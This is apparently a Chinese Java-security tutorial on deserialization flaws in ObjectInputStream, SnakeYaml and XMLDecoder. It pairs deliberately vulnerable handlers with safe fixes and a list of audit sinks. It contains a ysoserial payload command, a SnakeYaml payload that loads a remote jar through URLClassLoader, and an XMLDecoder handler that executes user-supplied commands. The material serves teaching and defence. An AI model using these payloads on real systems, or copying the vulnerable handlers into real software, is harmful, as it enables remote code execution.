JavaSec-专题-反序列化

简介

序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化 反序列化:指把字节序列恢复为Java对象的过程,ObjectInputStream类的readObject()方法用于反序列化 反序列化漏洞:攻击者可以通过受影响的接口直接或间接地传入恶意的反序列化对象,从而造成任意代码执行 Java中可分为:原生反序列化类(ObjectInputStream.readObject()、SnakeYaml、XMLDecoder)、三方组件反序列化(Fastjson、Jackson、Xstream......)

1.漏洞场景:ObjectInputStream.readObject()

复制代码
ysoserial项目地址:https://github.com/frohoff/ysoserial
payload生成:java -jar ysoserial-all.jar CommonsCollections5 "open -a Calculator" | base64

public R vul(String payload) {
    try {
        payload = payload.replace(" ", "+");
        byte[] bytes = Base64.getDecoder().decode(payload);
        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);
        in.readObject();
        in.close();
        return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");
    } catch (Exception e) {
        return R.error("[-]请输入正确的Payload!\n"+e.getMessage());
    }
}

2.安全场景:关闭不安全的反序列化

复制代码
代码审计SINK点:
    1、JDK(ObjectInputStream.readObject)
    2、XMLDecoder.readObject
    3、Yaml.load
    4、XStream.fromXML
    5、ObjectMapper.readValue
    6、JSON.parseObject

安全代码

复制代码
public R safe1(String payload) {
    // 安全措施:禁用不安全的反序列化
    System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");
    try {
        payload = payload.replace(" ", "+");
        byte[] bytes = Base64.getDecoder().decode(payload);
        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);
        in.readObject();
        in.close();
        return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");
    } catch (Exception e) {
        return R.error("[-]请输入正确的Payload!\n"+e.getMessage());
    }
}

3.安全场景:反序列化黑白名单

ValidatingObjectInputStream:这是Apache Commons IO 提供的一个类,它允许在反序列化时指定可以接受的类或拒绝的类。通过accept/reject(Class) 方法,可以指定只允许/拒绝某些类进行反序列化。

安全代码

复制代码
public R safe2(String payload) {
    try {
        payload = payload.replace(" ", "+");
        byte[] bytes = Base64.getDecoder().decode(payload);
        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        // 创建 ValidatingObjectInputStream 对象
        ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
        // 设置拒绝反序列化的类
        ois.reject(java.lang.Runtime.class);
        ois.reject(java.lang.ProcessBuilder.class);
        // 只允许反序列化Sqli类
        ois.accept(Sqli.class);
        ois.readObject();
        return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");
    } catch (Exception e) {
        return R.error("[-]请输入正确的Payload!\n"+e.getMessage());
    }
}

反序列化 - SnakeYaml

简介

SnakeYAML是一个用于解析和生成YAML格式数据的流行Java库,支持YAML1.1和1.2规范,能够实现YAML与Java对象之间的序列化和反序列化 漏洞原理:yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManager payload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行

4.漏洞场景:SnakeYaml

复制代码
反序列化流程:
  1、导入依赖:使用Maven/Gradle项目时,首先添加SnakeYAML的依赖
  2、创建Yaml实例:使用Yaml类的实例来处理反序列化。可以通过无参构造函数创建,也可以通过传递一个Constructor来定制化反序列化的方式(如使用SafeConstructor提高安全性)
  3、调用load()方法:使用Yaml实例的load()方法,将YAML字符串或输入流转换为相应的Java对象
  4、处理反序列化后的对象:根据实际业务需求对反序列化后的对象进行处理

缺陷代码

复制代码
public R vul(String payload) {
    Yaml y = new Yaml();
    y.load(payload);
    return R.ok("[+]Java反序列化:SnakeYaml");
}

// payload示例
payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]]

5.安全场景:SafeConstructor安全构造

SafeConstructor是SnakeYAM 提供的一个安全构造器,用于防止反序列化漏洞,确保只反序列化基本类型和安全的对象

复制代码
public R safe(String payload) {
    try {
        Yaml y = new Yaml(new SafeConstructor());
        y.load(payload);
        return R.ok("[+]Java反序列化:SnakeYaml安全构造");
    } catch (Exception e) {
        return R.error("[-]Java反序列化:SnakeYaml反序列化失败");
    }
}

反序列化 - XMLDecoder

XMLDecoder是Java标准库中提供的一个类,用于将XML格式的数据反序列化为Java对象。它是JavaBeans机制的一部分,能够将符合JavaBeans规范的XML文件解析为Java对象

6.漏洞场景:xmlDecoder.readObject()

用户输入被构建为包含ProcessBuilder对象的XML结构,并传入命令数组。生成的XML被XMLDecoder解析,反序列化后通过ProcessBuilder执行命令

复制代码
public R vul(String payload) {
    String[] strCmd = payload.split(" ");
    StringBuilder xml = new StringBuilder()
            .append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
            .append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
            .append("<object class=\"java.lang.ProcessBuilder\">")
            .append("<array class=\"java.lang.String\" length=\"").append(strCmd.length).append("\">");
    for (int i = 0; i < strCmd.length; i++) {
        xml.append("<void index=\"").append(i).append("\"><string>")
                .append(strCmd[i]).append("</string></void>");
    }
    xml.append("</array><void method=\"start\" /></object></java>");
    try {
        new java.beans.XMLDecoder(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)))
                .readObject().toString();
        return R.ok("命令执行成功");
    } catch (Exception e) {
        return R.error("命令执行失败: " + e.getMessage());
    }
}

7.安全代码:使用SAX替换XMLDecoder

复制代码
SAX:事件驱动的特性和内存管理方式,更加安全,适合处理不受信任的数据
XMLDecoder:由于反序列化过程的性质,存在较高的安全风险,建议仅在处理可信数据时使用
复制代码
public R safe(@RequestParam String payload) {
    try {
        // 构建 XML 字符串
        ...
        // 使用 SAX 解析器解析 XML
        SAXParserFactory factory = SAXParserFactory.newInstance();
        SAXParser saxParser = factory.newSAXParser();
        CommandHandler handler = new CommandHandler();
        // 将 ByteArrayInputStream 包装成 InputSource
        InputSource inputSource = new InputSource(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)));
        saxParser.parse(inputSource, handler);
        // 获取解析后的命令参数
        List<String> args = handler.getArgs();
        // 处理解析后的命令参数
        System.out.println("Parsed command: " + String.join(" ", args));
        return R.ok("[+]命令解析成功:"+String.join(" ", args));
    } catch (Exception e) {
        return R.error("[-]命令解析失败: " + e.getMessage());
    }
}
相关推荐
Scott9999HH5 小时前
【IIoT流量实战】蒸汽管道阀门全关却仍有流量?用 Python 实现涡街信号 FFT 频谱分析与温压全补偿积算网关,深度拆解靠谱的涡街流量计厂家硬核技术标准
开发语言·python
腻害兔5 小时前
【若依项目-产品经理视角】深度拆解 RuoYi-Vue-Pro 商城模块:从商品管理到交易引擎,50 张表撑起一整套电商系统
java·大数据·vue.js·产品经理·ai编程
码智社6 小时前
AES加密原理详解及Java实现加解密实战
java·开发语言
AI云海6 小时前
python 列表、元组、集合和字典
开发语言·python
萧瑟余晖7 小时前
JDK 26 新特性详解
java·开发语言
马优晨8 小时前
Freemarker 完整讲解(后端 Java 模板引擎)
java·开发语言·freemarker·freemarker 完整讲解·freemarker模板引擎
人邮异步社区9 小时前
怎么把C语言学到精通?
c语言·开发语言
心平气和量大福大10 小时前
C#-WPF-控件-TextBox 数据绑定
开发语言·c#·wpf
ttwuai10 小时前
Cursor 生成 CRUD 后,Go 后台接口别只测 200:JWT、RBAC 和 tenant_id 怎么验
开发语言·后端·golang
维天说10 小时前
CLI-Switch 2026年3月版历史设计:Hook、TTY 隔离与 JSON 状态
java·服务器·json